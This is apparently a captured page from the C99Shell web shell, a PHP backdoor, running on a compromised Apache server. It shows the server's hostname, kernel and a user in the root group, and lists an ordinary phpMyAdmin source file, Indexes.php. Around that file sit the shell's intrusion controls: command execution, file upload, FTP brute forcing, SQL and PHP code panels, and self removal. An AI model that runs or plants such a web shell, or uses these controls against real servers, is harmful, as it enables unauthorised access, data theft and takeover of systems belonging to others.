!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/libraries/classes/Table/   drwxr-xr-x
Free 28.76 GB of 117.98 GB (24.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Indexes.php (3.72 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Table;

use 
PhpMyAdmin\Controllers\Table\StructureController;
use 
PhpMyAdmin\DatabaseInterface;
use 
PhpMyAdmin\Html\Generator;
use 
PhpMyAdmin\Index;
use 
PhpMyAdmin\Message;
use 
PhpMyAdmin\Query\Compatibility;
use 
PhpMyAdmin\Query\Generator as QueryGenerator;
use 
PhpMyAdmin\ResponseRenderer;
use 
PhpMyAdmin\Template;

use function 
__;

final class 
Indexes
{
    
/** @var ResponseRenderer */
    
protected $response;

    
/** @var Template */
    
protected $template;

    
/** @var DatabaseInterface */
    
private $dbi;

    public function 
__construct(ResponseRenderer $responseTemplate $templateDatabaseInterface $dbi)
    {
        
$this->response $response;
        
$this->template $template;
        
$this->dbi $dbi;
    }

    
/**
     * Process the data from the edit/create index form,
     * run the query to build the new index
     * and moves back to /table/sql
     *
     * @param Index $index      An Index instance.
     * @param bool  $renameMode Rename the Index mode
     */
    
public function doSaveData(Index $indexbool $renameModestring $dbstring $table): void
    
{
        global 
$containerBuilder;

        
$error false;
        if (
$renameMode && Compatibility::isCompatibleRenameIndex($this->dbi->getVersion())) {
            
$oldIndexName $_POST['old_index'];

            if (
$oldIndexName === 'PRIMARY') {
                if (
$index->getName() === '') {
                    
$index->setName('PRIMARY');
                } elseif (
$index->getName() !== 'PRIMARY') {
                    
$error Message::error(
                        
__('The name of the primary key must be "PRIMARY"!')
                    );
                }
            }

            
$sql_query QueryGenerator::getSqlQueryForIndexRename(
                
$db,
                
$table,
                
$oldIndexName,
                
$index->getName()
            );
        } else {
            
$sql_query $this->dbi->getTable($db$table)
                ->
getSqlQueryForIndexCreateOrEdit($index$error);
        }

        
// If there is a request for SQL previewing.
        
if (isset($_POST['preview_sql'])) {
            
$this->response->addJSON(
                
'sql_data',
                
$this->template->render('preview_sql', ['query_data' => $sql_query])
            );
        } elseif (! 
$error) {
            
$this->dbi->query($sql_query);
            
$response ResponseRenderer::getInstance();
            if (
$response->isAjax()) {
                
$message Message::success(
                    
__('Table %1$s has been altered successfully.')
                );
                
$message->addParam($table);
                
$this->response->addJSON(
                    
'message',
                    
Generator::getMessage($message$sql_query'success')
                );

                
$indexes Index::getFromTable($table$db);
                
$indexesDuplicates Index::findDuplicates($table$db);

                
$this->response->addJSON(
                    
'index_table',
                    
$this->template->render('indexes', [
                        
'url_params' => [
                            
'db' => $db,
                            
'table' => $table,
                        ],
                        
'indexes' => $indexes,
                        
'indexes_duplicates' => $indexesDuplicates,
                    ])
                );
            } else {
                
/** @var StructureController $controller */
                
$controller $containerBuilder->get(StructureController::class);
                
$controller();
            }
        } else {
            
$this->response->setRequestStatus(false);
            
$this->response->addJSON('message'$error);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--